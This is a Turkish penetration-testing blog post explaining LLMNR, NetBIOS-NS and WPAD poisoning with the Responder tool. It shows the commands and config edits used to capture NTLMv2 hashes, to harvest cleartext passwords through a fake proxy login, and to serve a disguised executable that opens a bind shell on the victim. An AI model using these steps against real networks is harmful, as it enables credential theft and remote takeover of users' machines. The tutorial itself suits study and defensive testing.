&lt;p&gt;&lt;img src=&quot;/assets/images/2016-12-04-llmnr-netbios-ns-poisoning/graph.png&quot; alt=&quot;2010-2016 Arası Küresel İşletim Sistemi Dağılımı&quot; /&gt;
&lt;em&gt;2010-2016 Arası Küresel İşletim Sistemi Dağılımı&lt;sup&gt;1&lt;/sup&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h1 id=&quot;llmnr-nedir&quot;&gt;LLMNR Nedir?&lt;/h1&gt;

&lt;p&gt;LLMNR (Link-Local Multicast Name Resolution), IPv4 veya IPv6 üzerinden sistemlerin yerel ağdaki diğer sistemlerin isimlerini çözmek kullandıkları, temelde DNS tabanlı bir protokoldür. DNS’e alternatif olarak geliştirilen bir protokol değildir ve DNS sorgularının olumsuz sonuçladığı durumlarda kullanılmaktadır. Windows Vista sonrası tüm Windows işletimleri sistemleri tarafından desteklemektedir. Aynı zamanda 2014 sonlarına doğru Linux üzerinde de gerekli entegrasyon gerçekleştirilmiştir.&lt;sup&gt;2&lt;/sup&gt;&lt;/p&gt;

&lt;p&gt;Herhangi bir yapılandırmaya ihtiyaç duymadan sistemler LLMNR’ı kullanabilmektedir ve temelde DNS sorgularının işe yaramadığı durumlarda devreye girmektedir. LLMNR protokolü IPv4 üzerinde 224.0.0.252, IPv6 üzerinde ise FF02:0:0:0:0:0:1:3 link-scope multicast adresleri kullanır ve TCP/UDP üzerinde 5355 portu üzerinde işlemlerini gerçekleşmektedir.&lt;/p&gt;

&lt;p&gt;Örnek olarak olmayan bir alan adına (dzlab.local) ping atmayı deneyelim. Başarısız sonuçlanan DNS sorgularının hemen ardından LLMNR sorguları oluşmaktadır. Aşağıda ilgili ekran görüntüsü verilmiştir.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/2016-12-04-llmnr-netbios-ns-poisoning/llmnr.png&quot; alt=&quot;LLMNR Sorguları&quot; /&gt;
&lt;em&gt;LLMNR Sorguları&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Özet olarak DNS üzerinden isim çözümlemenin mümkün olmadığı durumlarda işletim sistemi LLMNR protokolünü kullanıp ismi çözmeye çalışıyor.&lt;/p&gt;

&lt;h1 id=&quot;netbios-nedir&quot;&gt;NetBIOS Nedir?&lt;/h1&gt;

&lt;p&gt;NetBIOS (Network Basic Input/Output System), yerel ağ içerisinde sistemlerin birbirleri arasında iletişim için kullandıkları bir API’dır. Bilinenin aksine bir protokol değil protokol üzerinde çalışan bir API’dır. Üç farklı servisi vardır;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Name Service (NetBIOS-NS), isim kaydı ve isim çözme için kullanılır. UDP 137 portundan işlemler geçekleştirilir. Aynı zamanda TCP 137 portu da bazen kullanılır.&lt;/li&gt;
  &lt;li&gt;Datagram Distribution Service (NetBIOS-DGM), Connectionless iletişim için kullanılır. UDP 138 portunda işlemler geçekleştirilir.&lt;/li&gt;
  &lt;li&gt;Session Service (NetBIOS-SSN), Connection-Oriented iletişim için kullanılır. TCP 139 portu üzerinden işlemler geçekleştirilir.&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;windows-i̇şletim-sisteminde-i̇şler-nasıl-yürüyor&quot;&gt;Windows İşletim Sisteminde İşler Nasıl Yürüyor?&lt;/h1&gt;

&lt;p&gt;Bir Windows işletim sistemi isim çözerken aşağıdaki adımları takip eder;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Sistemindeki hosts dosyasına bakar.&lt;/li&gt;
  &lt;li&gt;Yerel DNS Önbelleğine bakar.&lt;/li&gt;
  &lt;li&gt;DNS Sunucusuna sorgu gönderir.&lt;/li&gt;
  &lt;li&gt;LLMNR sorgusu gönderir.&lt;/li&gt;
  &lt;li&gt;NetBIOS-NS sorgusu gönderir.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Yukarda, “dzlab.local” için ping atmaya çalışmıştık DNS sunucusu üzerinden kaydı olmayan bu domain için DNS sorgusu oluşmuştu ardından LLMNR isteği ve hemen sonrasında NetBIOS-NS isteği oluşmuştu. Aşağıda NetBIOS-NS isteğinin detaylarını içeren ekran görüntüsü verilmiştir, ilgili paketin DST kısmına bakılırsa bunun broadcast bir paket olduğu ve yerel ağdaki tüm sistemlere gönderildiği anlaşılabilir.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/2016-12-04-llmnr-netbios-ns-poisoning/netbios-ns.png&quot; alt=&quot;NetBIOS-NS Sorguları&quot; /&gt;
&lt;em&gt;NetBIOS-NS Sorguları&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Bu paket broadcast bir paket ise herhangi bir sistem bu pakete cevap verebilir diyebiliriz. Normal şartlar altında cevabı bilen sistem kaynak sisteme cevabı döner. Ancak kimse bilmiyorsa istek öylece yanıtsız kalır. Eğer sorulan alan adı gerçekten varsa doğru cevabı bilen sistemler arasından hangisinin cevabı öncelikle soran sisteme ulaşırsa o işlenir. Kısaca doğru cevaplar için bir “race condition” durumu söz konusudur.&lt;/p&gt;

&lt;p&gt;İşte tam bu noktada bu isteklere saldırgan olarak cevap verebilir ve hedef sistem ile ilgili hassas verilere erişebilir, başka bir yere yönlendirebilir hatta hedefe arka kapı bile yerleştirilebilir. Temelde yapılacak olan şey broadcast gelen paketleri dinlemek ve onlara gerektiği şekilde cevap vermektedir.&lt;/p&gt;

&lt;p&gt;Bu işlemler için Kali işletim sisteminde kurulu olarak gelen veya GitHub üzerinden erişlebilecek (https://github.com/SpiderLabs/Responder), açık kaynak kodlu Responder isimli araç yazı içerisinde kullanılmıştır.&lt;/p&gt;

&lt;h1 id=&quot;hedefin-ntlmv2-hashini-ele-geçirme&quot;&gt;Hedefin NTLMv2 Hash’ini Ele Geçirme&lt;/h1&gt;

&lt;p&gt;Araca herhangi bir parametre vermeden direkt olarak ağ arayüzünü tanımlayarak çalıştırdığımızda gelecek olan LLNMR ve NetBIOS-NS isteklerini dinlemeye başlayacaktır.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;responder &lt;span class=&quot;nt&quot;&gt;-I&lt;/span&gt; eth0&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Örnek vererek ilerlersek;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Kullanıcı aslında \fileserver\’a erişmek istiyor ancak yanlış yazıp \filserver\ şeklinde yazarak erişmeye çalışıyor.&lt;/li&gt;
  &lt;li&gt;Bu durumda kaydı bulunmayan ilgili sistem için sorgular başlıyor. Saldırgan gelen LLMNR isteklerine cevap veriyor ve kendisinin \filserver\ olduğunu cevap olarak dönüyor.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/2016-12-04-llmnr-netbios-ns-poisoning/filserver-req-res.png&quot; alt=&quot;filserver İçin Oluşan Sorgu ve Cevabı&quot; /&gt;
&lt;em&gt;filserver İçin Oluşan Sorgu ve Cevabı&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Kullanıcının işletim sistemi bağlantı kurup o an oturumu aktif olan kullanıcı adı ve NTLMv2 hash (parola özetini)’ini saldırgana veriyor.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/2016-12-04-llmnr-netbios-ns-poisoning/smb.png&quot; alt=&quot;Bağlantı Paketi&quot; /&gt;
&lt;em&gt;Bağlantı Paketi&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Hedef bağlantı hatası ile karşılaşıyor.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/2016-12-04-llmnr-netbios-ns-poisoning/hata.png&quot; alt=&quot;Bağlantı Hatası&quot; /&gt;
&lt;em&gt;Bağlantı Hatası&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Saldırgan hedefin NTLMv2 parola özetini ele geçiyor.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/2016-12-04-llmnr-netbios-ns-poisoning/hash.png&quot; alt=&quot;İsteğin Zehirlenmesi ve NTLMv2 Hash’in Elde Edilmesi&quot; /&gt;
&lt;em&gt;İsteğin Zehirlenmesi ve NTLMv2 Hash’in Elde Edilmesi&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Bu noktadan sonra saldırgan hedeften elde ettiği NTLMv2 hashi kırarak diğer saldırı aşamalarına geçilebilir. Çünkü NTLMv2 hash’i Pass The Hash vb. herhangi bir yöntem için kullanılamamaktadır.&lt;/p&gt;

&lt;h1 id=&quot;hedeften-açık-hesap-bilgisi-elde-geçirme&quot;&gt;Hedeften Açık Hesap Bilgisi Elde Geçirme&lt;/h1&gt;

&lt;p&gt;WPAD (Web Proxy Auto-Discovery Protocol), yerel ağ içerisinde veya internete erişim için proxy ayarının gerektiği durumlarda, proxy ayarlarının otomatik olarak istemcilere gönderilmesi ve işletilmesi için kullanılan teknolojidir. Proxy adres veya adresleri “wpad.dat” dosyası içerisine eklenir ve istemcilere DHCP veya DNS üzerinden almaları sağlanabilir. Örnek wpad.dat içeriği aşağıda verilmiştir.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;FindProxyForURL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;host&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;PROXY proxy.example.com:8080; DIRECT&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;WPAD aşağıdaki gibi çalışmaktadır;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;DHCP ayarları yapıldıysa istemci DHCP üzerinden WPAD bilgisini alır. (Başarılı ise 4. adıma geçilir.)&lt;/li&gt;
  &lt;li&gt;DNS’e “wpad.[corpdomain.com]” sorulur. (Başarılı ise 4. adıma geçilir.)&lt;/li&gt;
  &lt;li&gt;WPAD için LLMNR sorgusu gönderilir. (Başarılı ise 4. adıma geçilir. Başarısız ise proxy kullanılmaz.)&lt;/li&gt;
  &lt;li&gt;“wpad.dat” dosyası indirilir ve içerisinde bulunan proxy ayarları sistemde kullanılmaya başlanır.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Normal şartlarda birinci adımdaki istek üzerinden hedefe saldırı gerçekleştirilmek isteniyorsa DHCP Spoofing saldırısı deneneblilir ya da ikinci adımdaki istek üzerinden hedefe saldırı gerçekleştirilmek isteniyorsa DNS Poisoning saldırısı denenebillir. Ancak yukarıda da değinildiği üzere bu tür saldırılarına alınan önlemlere karşı neler yapabilir konusuna değindiğimiz için, amaç hedef üçüncü adıma geldiğinde neler yapılabilirdir.&lt;/p&gt;

&lt;p&gt;LLMNR üzerinden WPAD sorgusu gerçekleştiğinde ağ içerisindeki her istemciye bu istek gidecektir. Saldırgan bu noktada gelen WPAD isteğini zehirleyip (Sahte WPAD Sunucusu gibi hareket ederek) hedefe kendi oluşturduğu “wpad.dat” dosyasını vererek saldırıyı gerçekleştirebilir.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/2016-12-04-llmnr-netbios-ns-poisoning/wpad.png&quot; alt=&quot;İsteğin Zehirlenmesi ve Saldırganın Cevabı&quot; /&gt;
&lt;em&gt;İsteğin Zehirlenmesi ve Saldırganın Cevabı&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Bu saldırı türünde saldırganın avantajı olan bir durum söz konusu; Windows işletim sisteminin temel tarayıcısı Internet Explorer’ın proxy ayarları varsayılan olarak kurumla beraber “Automatically detect settings” şeklindedir. Aynı zamanda Mozilla Firefox tarayıcısının proxy ayarları varsayılan olarak kurulum ile beraber “Use system proxy settings” şeklinde olup Chrome tarayıcısı da Internet Explorer üzerinden yapılan proxy ayarlarını kullanmaktadır.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/2016-12-04-llmnr-netbios-ns-poisoning/browsers.png&quot; alt=&quot;Internet Explorer ve Mozilla Firefox Proxy Ayarları&quot; /&gt;
&lt;em&gt;Internet Explorer ve Mozilla Firefox Proxy Ayarları&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Saldırı için kullanılacak araç olan Responder aşağıdaki parametreler için çalıştırıldığında kendisine gelen WPAD paketlerine cevap dönecektir ve döneceği cevap proxy için yetkilendirmenin (Basic Authentication) gerektiği anlamına gelecektir.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;responder &lt;span class=&quot;nt&quot;&gt;-I&lt;/span&gt; eth0 &lt;span class=&quot;nt&quot;&gt;-wFb&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Kullanıcı tarafında kullanıcı adı ve parola girilmesi için bir ekran çıkacaktır. Bu aşamada kullanıcının gireceği değerleri açık (clear-text) olarak saldırgan ele geçecektir ve genelde saldırıya maruz kalan kullanıcılar Windows kullanıcı hesaplarının bilgilerini girmektedir.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/2016-12-04-llmnr-netbios-ns-poisoning/basicauth.png&quot; alt=&quot;Karşılaşılan Basic Authentication Penceresi&quot; /&gt;
&lt;em&gt;Karşılaşılan Basic Authentication Penceresi&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/2016-12-04-llmnr-netbios-ns-poisoning/wpad-basic-auth.png&quot; alt=&quot;WPAD.DAT Dosyasına Erişim İsteği ve Cevabı&quot; /&gt;
&lt;em&gt;WPAD.DAT Dosyasına Erişim İsteği ve Cevabı&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/2016-12-04-llmnr-netbios-ns-poisoning/wpad-clear-text.png&quot; alt=&quot;İsteğin Zehirlenmesi ve ClearText Hesap Bilgisinin Elde Edilmesi&quot; /&gt;
&lt;em&gt;İsteğin Zehirlenmesi ve ClearText Hesap Bilgisinin Elde Edilmesi&lt;/em&gt;&lt;/p&gt;

&lt;h1 id=&quot;hedefe-arka-kapı-yerleştirme&quot;&gt;Hedefe Arka Kapı Yerleştirme&lt;/h1&gt;

&lt;p&gt;Yukarıda WPAD isteklerine cevap dönerek hedeften açık (clear-text) olarak hesap bilgisinin nasıl alınabileceğine değinmiştim. Bu durumu bir adım öteye taşıyarak kullanıcının oluşturduğu isteği belirli bir sayfaya yönlendirerek kullanıcıya çalıştırılabilir dosya indirmesini sağlayabiliriz. Bu noktada oluşturulacak sayfanın inandırıcılığı için biraz sosyal mühendislik becerisi gerekmektedir ancak Responder aracının içerisindeki varsayılan sayfa bu işlem için gayet başarılıdır.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/2016-12-04-llmnr-netbios-ns-poisoning/page.png&quot; alt=&quot;Varsayılan Phising Sayfası&quot; /&gt;
&lt;em&gt;Varsayılan Phising Sayfası&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Responder aracının &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/responder/Responder.conf&lt;/code&gt; dosyası içerisinde aracın yapılandırma parametreleri bulunmaktadır. Dosya içerisinde &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Serve-Html&lt;/code&gt; ve &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Serve-EXE&lt;/code&gt; parametreleri varsayılan olarak &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Off&lt;/code&gt; değerindedir. Öncelikle bu değerleri &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;On&lt;/code&gt; olarak değiştirmemiz gerekmektedir.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-conf&quot; data-lang=&quot;conf&quot;&gt;[&lt;span class=&quot;n&quot;&gt;HTTP&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Server&lt;/span&gt;]

; &lt;span class=&quot;n&quot;&gt;Set&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;to&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;On&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;to&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;always&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;serve&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;the&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;custom&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;EXE&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;Serve&lt;/span&gt;-&lt;span class=&quot;n&quot;&gt;Always&lt;/span&gt; = &lt;span class=&quot;n&quot;&gt;On&lt;/span&gt;

; &lt;span class=&quot;n&quot;&gt;Set&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;to&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;On&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;to&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;replace&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;any&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;requested&lt;/span&gt; .&lt;span class=&quot;n&quot;&gt;exe&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;the&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;custom&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;EXE&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;Serve&lt;/span&gt;-&lt;span class=&quot;n&quot;&gt;Exe&lt;/span&gt; = &lt;span class=&quot;n&quot;&gt;On&lt;/span&gt;

; &lt;span class=&quot;n&quot;&gt;Set&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;to&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;On&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;to&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;serve&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;the&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;custom&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;HTML&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;the&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;URL&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;does&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;contain&lt;/span&gt; .&lt;span class=&quot;n&quot;&gt;exe&lt;/span&gt;
; &lt;span class=&quot;n&quot;&gt;Set&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;to&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Off&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;to&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;inject&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;the&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'HTMLToInject'&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;web&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pages&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;instead&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;Serve&lt;/span&gt;-&lt;span class=&quot;n&quot;&gt;Html&lt;/span&gt; = &lt;span class=&quot;n&quot;&gt;On&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Ayarlar tamamlandıktan sonra Responder aracı aşağıdaki parametreler ile çalıştırıldığında gelen WPAD isteklerine cevap dönecektir ve cevapları işleyen istemciler saldırıya maruz kalacaklardır.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;responder &lt;span class=&quot;nt&quot;&gt;-I&lt;/span&gt; eth0 &lt;span class=&quot;nt&quot;&gt;-wr&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Saldırıya maruz kalan kullanıcılar aşağıdaki ekran görüntüsünde olan sayfa ile karşılaşacaklardır.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/2016-12-04-llmnr-netbios-ns-poisoning/phising.png&quot; alt=&quot;Karşılaşılan Sayfa ve Payload’ın İndirilmesi&quot; /&gt;
&lt;em&gt;Karşılaşılan Sayfa ve Payload’ın İndirilmesi&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Sayfada linki bulunan ProxyClient.exe dosyası hedef tarafından indirilip çalıştırıldığında TCP 140 portuna cmd.exe’yi bind edilecektir ve hedef üzerinde komut çalıştırılacak duruma geçilecektir.&lt;/p&gt;

&lt;p&gt;Hedef kullanıcılar tarayıcılarından nereye gitmek isterlerse karşılarına &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/usr/share/responder/files/AccessDenied.html&lt;/code&gt; dizin yolundaki dosya verilecektir ve ilgili HTML dosyası içerisinde erişim için &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ProxyClient.exe&lt;/code&gt; isimli dosyayı indirip çalıştırmaları istenmektedir. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ProxyClient.exe&lt;/code&gt; dosyası &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/usr/share/responder/files/BindShell.exe&lt;/code&gt; dizini yolunda bulunmaktadır ve istenirse başka çalıştırılabilir dosyalarda oluşturulup ilgili dizine atıldıktan sonra yapılandırma dosyası güncellenirse Responder aracı hedefe ilgili dosyayı verecektir.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/2016-12-04-llmnr-netbios-ns-poisoning/bind.png&quot; alt=&quot;İsteğin Zehirlenmesi ve Bind Shell’e Erişimi&quot; /&gt;
&lt;em&gt;Karşılaşılan Sayfa ve Payload’ın İndirilmesi&lt;/em&gt;&lt;/p&gt;

&lt;h2 id=&quot;referanslar&quot;&gt;Referanslar&lt;/h2&gt;
&lt;ol&gt;
  &lt;li&gt;http://gs.statcounter.com/&lt;/li&gt;
  &lt;li&gt;https://lwn.net/Articles/609740/&lt;/li&gt;
&lt;/ol&gt;</content><author><name></name></author><summary type="html">Yerel ağda hedefin veya hedeflerin trafiğini ele geçirmek ve müdahale etmek için birden fazla yöntem bulunmaktadır. Bunların arasında ARP Poisoning en bilineni olup, en fazla istismar edilenidir. TCP/IP uzun yıldır var olan bir protokol ve ARP Poisoning, Rogue DHCP Server Attack vs. ise yine yıllardır yerel ağ trafiğine müdahale etmekte kullanılan saldırı yöntemlerinden bazılarıdır.</summary></entry></feed>